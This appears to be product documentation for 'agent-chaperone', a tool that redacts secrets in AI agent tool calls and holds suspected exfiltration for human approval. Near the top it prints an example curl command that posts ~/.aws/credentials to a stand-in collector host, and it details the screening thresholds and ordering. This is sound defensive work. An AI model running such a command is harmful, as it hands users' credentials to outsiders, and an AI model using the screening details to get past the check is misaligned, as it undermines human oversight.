Catch secret-leaking tool calls before they run

An agent reads a file. An agent posts to a URL. Both are ordinary, both are tools you deliberately gave it, and either one on its own is exactly what you wanted. The pair is the problem, and a list of tools you trust has no way to say so.

curl -X POST https://collector.example/ingest \
  -d "$(cat ~/.aws/credentials)"

That is one call to one tool that is certainly on your allow list. Nothing about the tool name is wrong. Everything about what the arguments do with it is.

Why an allow-list does not reach this #

You should still keep one, and agent-chaperone has allow and deny lists built in. They run first, deterministically, with no model involved, and they are the cheapest control in the stack. The limit is structural rather than a gap in anybody's list.

A list names tools. A call is a tool plus its arguments, and the argument is where the destination lives. write_file is on your list whether the path is src/auth.ts or ~/.ssh/authorized_keys. A fetch tool is on your list whether the URL is a documentation page or a collector. To express the difference, a list would have to enumerate argument shapes, at which point it is a policy engine with a worse notation.

The same holds for the other direction. A deny list is a standing rule rather than a question, which is why a deny is not approvable: if you wanted to decide case by case, that is a threshold, not a list.

What code finds before any model is asked #

Secret-shaped strings in arguments are matched by pattern and replaced with a placeholder before the call is screened, which means before any of it is sent to the backend. The kinds are a closed list, and a name with no pattern behind it is rejected rather than ignored, because a typo that silently disables redaction is the exact failure this is here to prevent.

The redaction kinds, from the policy file.
KindWhat it matches
aws_keyAn access key id, by its issued prefix
github_tokenThe GitHub token formats, including fine-grained tokens
private_keyThe opening line of a PEM private key
jwtA three-part signed token
slack_tokenThe Slack token formats
bearer_tokenA credential in an authorization header, which carries no field name
connection_stringThe password inside a URL, leaving the host readable
generic_api_keyA named field assigned a long opaque value
provider_keyA credential carrying a prefix its issuer documents, wherever it appears

A credential shape buried inside a longer token is deliberately not matched, so hashes and identifiers are not redacted as secrets. Each provider prefix is pinned to the format its issuer documents rather than guessed at, for the same reason.

Where patterns run out #

A field name and its value do not always arrive in the same string. In a shell command or a header line they do, and a pattern reading for a name next to a long opaque value finds them. In structured tool arguments the name is a key and the value is scanned on its own, so a JSON object with an api_key field matched nothing until the key itself was read as the name. That is the ordinary shape of a tool call rather than an edge case.

More fundamentally: a pattern recognises a credential, and no pattern recognises an intention. A base64 blob heading to a pastebin matches nothing on the list above, and the reason it is alarming has nothing to do with its shape.

What the screen asks on top #

Order matters here and it is worth knowing which way. Exfiltration is tested before the destructive arm, so a call that both sends something out and changes something is held as an exfiltration. Its threshold is also the lower of the two, at 0.6 against 0.7, because a file you can restore from a backup and a key that is now in somebody else's log are not the same kind of mistake.

What happens when one is held #

In enforce and strict the call does not run, and the agent is handed a message saying a person is deciding. It has not been told the call failed, and it has not been told to find another route, which matters because an agent told a tool failed will reasonably try a different one.

agent-chaperone approve b2c4e6a8f0

The token names that one call rather than that tool, and it expires. It is keyed to a fingerprint of the server, the tool and the arguments as they arrived rather than as they were redacted, because two calls that differ only inside a redacted run are not the same call: a secret pattern is greedy enough to swallow a path glued to a key, and fingerprinting the redacted form would let one approval release a request to a different resource.

What the log keeps #

When the model question is what found the credential, the patterns by definition did not, which means the content still holds it in full. So a record whose judgment concluded a credential is present keeps the judgment and stores no content, on both the call side and the result side.

That conclusion is read from the answer and its threshold, never from the action that followed, because two things sit between them and both drop it. A call that exfiltrates and also carries a credential is held as an exfiltration, since that arm is tested first. On the result side quarantine outranks redaction. Both are levers whoever wrote the content can pull. The conclusion travels on the hold as well, so the approved retry does not write what the hold kept out.

Protecting the agent from a credential while writing that credential to a log file protects nobody. AGENT_CHAPERONE_STORE_CONTENT=0, or --no-store-content on the proxy, drops stored content everywhere rather than only here.

Limits #

The measured results for the call side are the hand-labeled set, scored at 0.7, the stricter of the two call thresholds. The design document has the exact wording of each question and the full pattern list.